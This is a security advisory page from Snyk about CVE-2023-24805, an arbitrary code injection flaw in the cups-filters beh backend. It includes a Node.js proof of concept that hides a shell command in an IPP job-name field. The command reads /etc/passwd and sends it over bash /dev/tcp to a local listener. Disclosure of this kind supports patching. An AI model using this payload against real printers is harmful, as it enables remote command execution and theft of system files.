Arbitrary Code Injection Affecting distrotech/cups-filters package, versions [0,]


Severity

Recommended
0.0
high
0
10

CVSS assessment by Snyk's Security Team. Learn more

Threat Intelligence

Exploit Maturity
Proof of Concept
EPSS
9.25% (93rd percentile)

Do your applications use this vulnerable package?

In a few clicks we can analyze your entire application and see what components are vulnerable in your application, and suggest you quick fixes.

Test your applications

Snyk Learn

Learn about Arbitrary Code Injection vulnerabilities in an interactive lesson.

Start learning
  • Snyk IDSNYK-UNMANAGED-DISTROTECHCUPSFILTERS-9673814
  • published19 May 2023
  • disclosed17 May 2023
  • creditWinMin

Introduced: 17 May 2023

CVE-2023-24805  (opens in a new tab)
CWE-94  (opens in a new tab)

How to fix?

There is no fixed version for distrotech/cups-filters.

Overview

Affected versions of this package are vulnerable to Arbitrary Code Injection when using beh service to create an accessible network printer due to the user and title parameters being user-controlled and unsanitized.

PoC

var ipp = require('ipp');
var PDFDocument = require('pdfkit');
var concat = require("concat-stream");

var doc = new PDFDocument({margin:0});
doc.text("1.pdf", 0, 0);


doc.pipe(concat(function (data) {
var printer = ipp.Printer("http://127.0.0.1:6310/printers/myprinter");
var msg = {
"operation-attributes-tag": {
"requesting-user-name": "Bumblebee",
"job-name": "';env; bash -c \"/usr/bin/cat ${PWD}etc/${PWD}/passwd > ${PWD}dev${PWD}tcp${PWD}127.0.0.1${PWD}1337\";'' #.pdf",
"document-format": "application/pdf"
},
"job-attributes-tag":{
      "media-col": {
        "media-source": "tray-2"
      }
}
, data: data
};
printer.execute("Print-Job", msg, function(err, res){
console.log(err);
console.log(res);
});
}));
doc.end();

CVSS Base Scores

version 3.1